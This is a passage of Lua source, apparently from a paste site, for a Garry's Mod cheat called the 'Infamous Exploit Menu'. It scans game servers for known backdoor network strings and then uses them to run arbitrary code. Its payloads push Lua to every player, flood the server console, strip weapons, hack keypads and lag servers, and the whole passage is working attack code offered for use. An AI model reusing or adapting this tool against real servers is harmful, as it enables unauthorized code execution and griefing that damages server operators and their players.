  757. local miraclerdy = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('https://instaud.io/_/1R1P.mp3') ]]) end"
  758. net.Start(netKey)
  759. net.WriteString( miraclerdy )
  760. net.WriteBit(1)
  761. net.SendToServer()
  762.  
  763. end
  764. end
  765.  
  766. -- Concommand Functions
  767.  
  768. function EarthQuake()
  769. local earths = "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end"
  770. net.Start(netKey)
  771. net.WriteString( earths )
  772. net.WriteBit(1)
  773. net.SendToServer()
  774. end
  775.  
  776. concommand.Add("earthquake", EarthQuake)
  777.  
  778. -- ConCommand Functions End
  779.  
  780.  
  781. local FloodConsole = vgui.Create( "DButton", BackdoorMenu )
  782. FloodConsole:SetText( "Flood Console" )
  783. FloodConsole:SizeToContents()
  784. FloodConsole:SetTall( 25 )
  785. FloodConsole:SetWide( FloodConsole:GetWide() + 20 )
  786. FloodConsole:SetPos( 50, 340 )
  787. FloodConsole:SetTextColor( Color( 255, 255, 255 ) )
  788. FloodConsole:SetToolTip( "Floods Server Console" )
  789. FloodConsole.Paint = function( self, w, h )
  790. DrawBlur(FloodConsole, 2)
  791. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  792. FloodConsole.DoClick = function()
  793. SploitNotify("Flooding Console")
  794. surface.PlaySound("garrysmod/ui_click.wav")
  795. net.Start(netKey)
  796. net.WriteString( "timer.Create( \"adminsgonnahate\", 0.05, 0, function() print(\"0100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101\") end )" )
  797. net.WriteBit(1)
  798. net.SendToServer()
  799. end
  800. end
  801.  
  802.  
  803.  
  804. -- Exploit Derma
  805.  
  806. local ExploitMenu = vgui.Create( "DFrame" )
  807. ExploitMenu:SetSize( 630, 450 )
  808. ExploitMenu:SetVisible( true )
  809. ExploitMenu:SetDraggable( false )
  810. ExploitMenu:ShowCloseButton( false )
  811. ExploitMenu:Center()
  812. ExploitMenu:SetTitle("")
  813. ExploitMenu:MakePopup()
  814. ExploitMenu.Paint = function( self, w, h )
  815. DrawBlur(ExploitMenu, 2)
  816. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  817. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  818. draw.SimpleText( "Infamous Exploit Menu", "Title", ExploitMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  819. end
  820.  
  821.  
  822. local ExploitMenuClose = vgui.Create( "DButton", ExploitMenu )
  823. ExploitMenuClose:SetSize( 35, 35 )
  824. ExploitMenuClose:SetPos( ExploitMenu:GetWide() - 36,9 )
  825. ExploitMenuClose:SetText( "X" )
  826. ExploitMenuClose:SetFont( "Default" )
  827. ExploitMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  828. ExploitMenuClose.Paint = function()
  829.  
  830. end
  831. ExploitMenuClose.DoClick = function()
  832. CloseEverything()
  833. end
  834.  
  835.  
  836. local ExpolitPanelList = vgui.Create( "DScrollPanel", ExploitMenu )
  837. ExpolitPanelList:Dock( FILL )
  838.  
  839.  
  840.  
  841.  
  842.  
  843. local status = ValidNetString("properties")
  844. if (status) then
  845.  
  846. totalExploits = 1 + totalExploits
  847.  
  848. local StripWeapons = ExpolitPanelList:Add( "DButton" )
  849. StripWeapons:SetText( "Strip Everyones Weapons")
  850. StripWeapons:Dock( TOP )
  851. StripWeapons:DockMargin( 0, 50, 0, 5 )
  852. StripWeapons:SetTextColor( Color( 255, 255, 255 ) )
  853. StripWeapons.Paint = function( self, w, h )
  854. DrawBlur(StripWeapons, 2)
  855. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  856. end
  857. StripWeapons.DoClick = function()
  858. removeAll()
  859. surface.PlaySound("garrysmod/ui_click.wav")
  860. SploitNotify("Stripping Weapons")
  861. end
  862. print("Explotable Feature Found: Strip Weapons")
  863. end
  864.  
  865.  
  866.  
  867. local status = ValidNetString("start_wd_emp")
  868. if (status) then
  869.  
  870. totalExploits = 1 + totalExploits
  871.  
  872. local HackKeypads = ExpolitPanelList:Add( "DButton" )
  873. HackKeypads:SetText( "Hack Keypads")
  874. HackKeypads:Dock( TOP )
  875. HackKeypads:DockMargin( 0, 0, 0, 5 )
  876. HackKeypads:SetTextColor( Color( 255, 255, 255 ) )
  877. HackKeypads.Paint = function( self, w, h )
  878. DrawBlur(HackKeypads, 2)
  879. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  880. end
  881. HackKeypads.DoClick = function()
  882. HackKeypad()
  883. surface.PlaySound("garrysmod/ui_click.wav")
  884. SploitNotify("Hacking Keypads")
  885. end
  886. print("Exploitable Feature Found: Hack Keypads")
  887. end
  888.  
  889.  
  890.  
  891.  
  892. local status = ValidNetString("egg")
  893. if (status) then
  894.  
  895. totalExploits = 1 + totalExploits
  896.  
  897. local GiveEasterEgg1 = ExpolitPanelList:Add( "DButton" )
  898. GiveEasterEgg1:SetText( "Give Easter Egg")
  899. GiveEasterEgg1:Dock( TOP )
  900. GiveEasterEgg1:DockMargin( 0, 0, 0, 5 )
  901. GiveEasterEgg1:SetTextColor( Color( 255, 255, 255 ) )
  902. GiveEasterEgg1.Paint = function( self, w, h )
  903. DrawBlur(GiveEasterEgg1, 2)
  904. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  905. end
  906. GiveEasterEgg1.DoClick = function()
  907. GiveEasterEgg1()
  908. surface.PlaySound("garrysmod/ui_click.wav")
  909. SploitNotify("Hacking Keypads")
  910. end
  911. print("Exploitable Feature Found: Find All EasterEggs")
  912. end
  913.  
  914.  
  915. -- Exploit 4
  916.  
  917.  
  918. local status = ValidNetString("steamid2")
  919. if (status) then
  920.  
  921. totalExploits = 1 + totalExploits
  922.  
  923. local Lagger1 = ExpolitPanelList:Add( "DButton" )
  924. Lagger1:SetText( "Lagger #1")
  925. Lagger1:Dock( TOP )
  926. Lagger1:DockMargin( 0, 0, 0, 5 )
  927. Lagger1:SetTextColor( Color( 255, 255, 255 ) )
  928. Lagger1.Paint = function( self, w, h )
  929. DrawBlur(Lagger1, 2)
  930. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  931. end
  932. Lagger1.DoClick = function()
  933. Lagger1()
  934. surface.PlaySound("garrysmod/ui_click.wav")
  935. SploitNotify("Starting Lagger #1")
  936. end
  937. print("Exploitable Feature Found: Lagger #1")
  938. end
  939.  
  940.  
  941.  
  942.  
  943.  
  944.  
  945.  
  946.  
  947.  
  948.  
  949. SploitNotify("Welcome " .. ply:GetName())
  950.  
  951. Infamous:Hide()
  952. InfamousCategories:Hide()
  953. ExploitMenu:Hide()
  954. BackdoorMenu:Hide()
  955.  
  956. function CloseEverything()
  957. Infamous:Hide()
  958. InfamousCategories:Hide()
  959. ExploitMenu:Hide()
  960. BackdoorMenu:Hide()
  961. end
  962.  
  963. function closealltabs()
  964. Infamous:Hide()
  965. ExploitMenu:Hide()
  966. BackdoorMenu:Hide()
  967. end
  968.  
  969. function OpenInfamousMenu()
  970. Infamous:Show()
  971. InfamousCategories:Show()
  972. end
  973.  
  974. function OpenExploitMenu()
  975. ExploitMenu:Show()
  976. end
  977.  
  978.  
  979. function OpenBackdoor()
  980. BackdoorMenu:Show()
  981. end
  982.  
  983.  
  984.  
  985.  
  986. function checkbackdoors()
  987. if( ValidNetString("nostrip") ) then
  988. BackdoorsFound = 1 + BackdoorsFound
  989. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - nostrip" )
  990. netKey = "nostrip"
  991. else
  992. chat.AddText( Color( 255, 0, 0 )," Backdoor Not Found - nostrip!" )
  993. end
  994. if( ValidNetString("Sandbox_Armdupe") ) then
  995. BackdoorsFound = 1 + BackdoorsFound
  996. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Sandbox_Armdupe" )
  997. netKey = "Sandbox_Armdupe"
  998. else
  999. chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Sandbox_Armdupe!" )
  1000. end
  1001. if( ValidNetString("Fix_Keypads") ) then
  1002. BackdoorsFound = 1 + BackdoorsFound
  1003. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Fix_Keypads" )
  1004. netKey = "Fix_Keypads"
  1005. else
  1006. chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Fix_Keypads!" )
  1007. end
  1008. if( ValidNetString("Remove_Exploiters") ) then
  1009. BackdoorsFound = 1 + BackdoorsFound
  1010. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Remove_Exploiters" )
  1011. netKey = "Remove_Exploiters"
  1012. else
  1013. chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Remove_Exploiters!" )
  1014. end
  1015. if( ValidNetString("noclipcloakaesp_chat_text") ) then
  1016. BackdoorsFound = 1 + BackdoorsFound
  1017. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - noclipcloakaesp_chat_text" )
  1018. netKey = "noclipcloakaesp_chat_text"
  1019. else
  1020. chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - noclipcloakaesp_chat_text!" )
  1021. end
  1022. SploitNotify("Found: ".. BackdoorsFound )
  1023. chat.AddText("Changed Net String to - ".. netKey )
  1024. end
  1025.  
  1026.  
  1027.  
  1028.  
  1029. concommand.Add("infamous_menu", OpenInfamousMenu)
  1030. concommand.Add("infamous_exploits", OpenExploitMenu)
  1031. concommand.Add("infamous_backdoor", OpenBackdoor)
  1032. concommand.Add("infamous_checkbackdoors", checkbackdoors)
Add Comment
Please, Sign In to add comment